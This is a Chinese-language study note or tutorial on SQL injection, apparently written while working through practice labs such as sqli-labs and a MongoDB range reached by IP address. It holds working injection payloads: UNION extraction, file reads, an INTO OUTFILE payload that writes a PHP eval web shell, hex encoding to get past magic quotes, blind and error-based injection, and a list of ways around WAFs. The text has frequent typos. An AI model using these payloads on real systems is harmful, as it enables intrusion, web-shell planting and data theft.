查询7zdly2237g表中数据
?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=%27challengs%27
发现是空表……
如果这里不是空表则可以继续查询其他数据,比如如果有admin等等列名则可以继续查询admin的信息
?id = -1‘ union select 1,group_concat(column_name),3 from information_schema.colummns where table_name=’admin’ and table_scheam=’ 7zdly2237g’
读取文件:select load_file(‘文件位置’)
一般来说是读取默认文件 或者 读取一些盘下的固定文件具体可以参考
https://blog.csdn.net/weixin_30292843/article/details/99381669
写入文件:select ‘内容’ into outfile 文件位置
先试试写入文件
?id=-2%20union%20select%201,%27%3C?php%20@eval($_POST[%22attack%22]);?%3E%27,3%20into%20outfile%20%27C:\Phpstudy\WWW\3.txt%27%20–+
现在试试读取刚刚的文件
?id=-2%20%20union%20select%201,%20%20load_file%20(“C:\Phpstudy\WWW\3.txt”)%20,3–+
报错显示,当输入一些代码后导致报错,可以直接看见路径
遗留文件:phpinfo.php等等
漏洞报错:
平台配置文件:当知道对方是什么搭建的网站后进行猜测对方的配置文件
扫描爆破:爆破网站常见路径
常见的文件读写问题:魔术引号.
magic_quotes_gpc:
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误
当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线。
此时输入以上的代码
采用宽字节或者编码绕过
?id=-2%20%20union%20select%201,%20%20load_file%20(0x433a5c50687073747564795c5757575c73716c6c6962735c73716c692d6c6162732d6d61737465725c73716c2d636f6e6e656374696f6e735c64622d63726564732e696e63)%20,3–+
0x是用16进制编码,给计算机声明此编码为16进制
用编码绕过可以防止使用特定符号
魔术符号
内置函数:int等等
检测输入的字符含有什么
判断输入的字符是否含有危险字符,甚至判断输入的字符是否不是数字
使用is_int($id)函数判断是否为整数
这里判断id是否为整数
这通过所以显示false稍加修改则可让我们看不见回显信息.
自定义关键字:
如select,union等等
用内置的str_replace函数进行对关键字的替换和过滤
id = str_replace(‘select’,‘123456’,$id);将select替换成123456
执行后报错成为
安全防护软件:
安全狗,宝塔等等
绕过方法:
1).更改提交方式
2).大小写混合
3).解密编码类
4).注释符混用
5).等价函数替换
6).特殊符号混用
7).借助数据库特性
8).http参数污染
9).垃圾数据溢出
就类型来说我认为区别不大,闭合方式不同所造成的注入语句不一样其中 SQL 语句干扰符号:’,",%,),}等,具体需看写法
1.)请求方法:
首先写入这个php文件,定义g用get传参,p用post传参
打开这个网站给两个变量分别传入参数
发现只有handsome显示也就是说只有get方式传入的参数显示
抓包发现,这个请求是用的get方式请求的数据,所以post方式无法使用
这时两个参数都可以显示 说明在post方式中get依然可以使用,而request在任何时候都可以使用。![在这里插入图片描述](https://img-blog.csdnimg.cn/4d0ebf03e2fb4f80a04a8cc992e45df1.pngPost注入:
Sqllibs第十一关
Acesse,mssql,mongoDB,postgresql,sqllite,oracle,sybase等
注入工具:sqlmap,nosqlattack,pangolin等
Access数据库
表名
列名
数据名
Mysql,mssql等
数据库A
表名
列名
数据
数据库B
……
Access注入主要是猜,通过猜表名,列名来获取数据,只有一个数据库。
Access注入的偏移注入
MongoDb
Mongodb的查询文档方式与其他的数据库略微不同,当进行条件查询的时候,mysql是用where,而mongodb是以键值对形式进行查询的
这里用墨者的靶场开始演示:
输入’发现回显错误
根据源代码截图
构建注入语句:
http://219.153.49.228:43945/new_list.php?id=1%27});%20return%20({title:1,content:%272
爆出数据库名
http://219.153.49.228:43945/new_list.php?id=1%27});%20return%20({title:tojson(db),content:%272
爆出表名http://219.153.49.228:43945/new_list.php?id=1%27});%20return%20({title:tojson(db.getCollectionNames()),content:%272
这里使用了getCollectNames()查询现有的所有表
爆出字段
http://219.153.49.228:43945/new_list.php?id=1%27});%20return%20({title:tojson(db.Authority_confidential.find()[0]),content:%271
db.Authority_confidential是当前查询的表,find函数用于查询,0是第一条数据
报错及盲注
首先了解一下sql语句的截取常用函数
if(条件,5,0) #条件成立 返回 5 反之 返回 0
sleep(5) #SQL 语句延时执行 5 秒
mid(a,b,c) #从位置 b 开始,截取 a 字符串的 c 位
substr(a,b,c) #从 b 位置开始,截取字符串 a 的 c 长度
left(database(),1),database() #left(a,b)从左侧截取 a 的前 b 位
length(database())=8 #判断数据库 database()名的长度
具体可以参考:https://www.cnblogs.com/lcamry/p/5504374.html
这里用and sleep(if(length(database())=8,5,0))–+
首先用length判断database的长度是否为8,再通过if返回结果,若为真则返回5,假则返回0,最后用sleep通过加载时间来判断是返回了5秒还是0秒
但是时间盲注可能会受到网络延迟的影响,一般不使用
这里可以判断出数据库的长度为8
再用left判断数据库的version
这里可以判断version为5.5以上
再使用left判断数据库名称
这里跳过后续操作 得知数据库名为security
然后猜解列名
?id=1’ and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=‘e’–+
……
通过数据库可以查看到admin的密码被修改了
而admin‘#的密码没有改变
这里登录过后我们可以看到
Cookie是加密生成的
这里我们对cookie进行修改
uname=admin1’and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
加密后
可以看到路径base的路径为c:/phpstudy/mysql/
uname=admin1’and extractvalue(1,concat(0x7e,(select database),0x7e))#
数据库名为security
Dnslog注入
可以解决盲注无法回显,效率低的情况
主要是利用load_file函数将数据外带出来
具体可以参考
https://www.cnblogs.com/Xy–1/p/12896599.html
堆叠注入
多条语句同时注入
Sqllibs-38
前提是被提交的方式必须是可以被接收的
如:get与post 用get方式可以在任意的提交方式中传输,而后台是用的post提交数据,若使用post则无法正常传入参数.
注释符号混用
用脚本不断生成请求包,成功返回的则绕过了,相当于暴力破解
Ip白名单
从网络层获取ip,若获取了客户端的ip,这样就有可能伪造IP绕过的情况
url白名单